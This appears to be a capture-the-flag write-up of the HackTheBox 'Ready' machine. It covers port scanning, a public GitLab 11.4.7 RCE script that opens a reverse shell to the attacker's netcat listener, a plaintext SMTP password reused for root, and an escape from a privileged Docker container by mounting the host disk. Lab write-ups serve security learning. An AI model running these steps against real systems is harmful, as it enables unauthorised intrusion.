User
Started by checking what ports are open on the target:
[jusepe@nix:~/Documents/HackTheBox/Ready]$ sudo scan ready.htb
[*] OS based on TTL
Unknown OS
[*] TCP Scan
Open ports: 22,5080
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18💿9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://ready.htb:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Execution time:
TTL: 0
Furious: 17
Nmap: 14
Total: 31
As we can see from the landing page it is hosting a gitlab server:
Created an account and checked the help secion to see what version was running:
Used searchsploit
to look for available exploits for gitlab:
[jusepe@nix:~/Documents/HackTheBox/Ready]$ searchsploit gitlab
-------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------- ---------------------------------
GitLab - 'impersonate' Feature Privilege Escalation | ruby/webapps/40236.txt
GitLab 11.4.7 - RCE (Authenticated) | ruby/webapps/49334.py
Gitlab 11.4.7 - Remote Code Execution | ruby/webapps/49257.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) | ruby/webapps/49263.py
GitLab 12.9.0 - Arbitrary File Read | ruby/webapps/48431.txt
Gitlab 12.9.0 - Arbitrary File Read (Authenticated) | ruby/webapps/49076.py
Gitlab 6.0 - Persistent Cross-Site Scripting | php/webapps/30329.sh
Gitlab-shell - Code Execution (Metasploit) | linux/remote/34362.rb
Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting | java/webapps/47927.txt
NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution | json/webapps/47420.txt
-------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
As it seems to be vulnerable searched for POC scripts and found this one which worked just fine:
[jusepe@nix:~/Documents/HackTheBox/Ready]$ python3 gitlab_rce.py http://ready.htb:5080 10.10.15.193
Gitlab Exploit by dotPY [insert fancy ascii art]
registering xELJ9QX1xY:0gP3X2cEM4 - 200
Getting version of http://ready.htb:5080 - 200
The Version seems to be 11.4.7! Choose wisely
delete user xELJ9QX1xY - 200
[0] - GitlabRCE1147 - RCE for Version <=11.4.7
[1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe more
[2] - GitlabRCE1281RCE - RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP
type a number and hit enter to choose exploit: 0
Start a listener on port 42069 and hit enter (nc -vlnp 42069)
registering TZW7jLx0Ld:A4b5hWXiLn - 200
hacking in progress - 200
delete user TZW7jLx0Ld - 200
On another terminal listened for the reverse shell and start as git
user. Additionally from linpeas analysis seems we are inside a docker instance.
Looking for sensitive info found a backup folder inside /opt
which had credentials inside:
(remote) git@gitlab.example.com:/opt/backup$ ls
docker-compose.yml gitlab-secrets.json gitlab.rb
(remote) git@gitlab.example.com:/opt/backup$ cat gitlab.rb | grep -v "^#" | grep -v -e '^[[:space:]]*$'
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
Used the password to switch user to root.
Root
It looks like we have to scape out of the docker so tried out hacktricks’ methodology
Started by listing container capabilities
root@gitlab:/home/dude# capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
It seems to be missconfigured with --privileged
so we can see host drive:
root@gitlab:/home/dude# fdisk -l
Disk /dev/loop0: 55.4 MiB, 58052608 bytes, 113384 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop1: 55.3 MiB, 58007552 bytes, 113296 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop2: 31.1 MiB, 32579584 bytes, 63632 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop3: 71.3 MiB, 74797056 bytes, 146088 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop4: 31.1 MiB, 32571392 bytes, 63616 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop5: 69.8 MiB, 73183232 bytes, 142936 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 32558524-85A4-4072-AA28-FA341BE86C2E
Device Start End Sectors Size Type
/dev/sda1 2048 4095 2048 1M BIOS boot
/dev/sda2 4096 37746687 37742592 18G Linux filesystem
/dev/sda3 37746688 41940991 4194304 2G Linux swap
So now we can just mount the host drive into the docker instance and we have access to the entire file system, therefore we got out of the docker:
root@gitlab:/home/dude# mount /dev/sda2 /mnt/
root@gitlab:/home/dude# cd /mnt
root@gitlab:/mnt# ls
bin boot cdrom dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var